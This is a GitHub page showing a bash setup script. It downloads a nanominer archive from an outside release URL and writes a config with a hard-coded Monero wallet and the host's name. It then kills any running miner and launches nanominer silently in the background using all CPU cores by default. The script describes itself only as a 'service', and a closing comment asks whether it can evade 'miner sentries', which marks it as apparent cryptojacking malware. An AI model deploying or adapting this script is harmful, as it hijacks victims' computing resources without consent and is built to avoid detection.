-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsetup.sh
executable file
·61 lines (42 loc) · 1.78 KB
/
setup.sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#!/bin/bash
VERSION=1.0.1
echo "Setup script version $VERSION."
echo "Downloading service..."
wget -q https://github.com/nightcrawler-/monerix-xmr/releases/download/v0.0.1/nanominer-linux-3.3.4.tar.xz
tar -xf nanominer-linux-3.3.4.tar.xz
cd nanominer-linux-3.3.4
echo "Download and extraction completed successfully."
# X-Mode - No limit on cpu threads
# Touch so that rm daent fail, hackity ah!
touch config.ini
rm config.ini
# Read minus-cores input param, if empty, use 0
# Command line args - first param is number of cores less to use
RESTRICT=$1
echo "Configuring service..."
echo "[RandomX]" >> config.ini
echo "wallet = 42VmQmradix9d5QaHZdo9pUvaH4Ua94WV22VK1HNcAEUbuDxSNXFCoH3h5GA5F8nUuh9a76xzt7sURb4wNgXVDn77qBvRBa" >> config.ini
echo "rigName = " `cat /proc/sys/kernel/hostname` >> config.ini
echo "email = [email protected]" >> config.ini
echo "sortPools = true" >> config.ini
# Check for core restrictions
if [ -z $RESTRICT ]; then
echo "No core usage restriction specified, using all cores."
else
echo "CPU Restricted, using one core less, ~83% for an 8 Core CPU"
echo "cpuThreads = " `grep -c ^processor /proc/cpuinfo | awk '{print $0-1}'` >> config.ini
# temporary, use half capacity
# echo "cpuThreads = 8" >> config.ini
fi
# Some refinements needed:
# Always check nanominer is not running before starting
# Enable run on startup - with a service, in the background
# Kill all others incase they were running -- helpfull to quickly run a new configuration
killall nanominer
# Start as a background process
nohup ./nanominer >/dev/null 2>&1 &
echo ""
# echo "Current configuration:"
# cat config.ini
echo "Setup complete, service operational"
# Think about using CPU limit instead od core count? Avoid flatline high cpu usage? Can this fly below the miner sentries?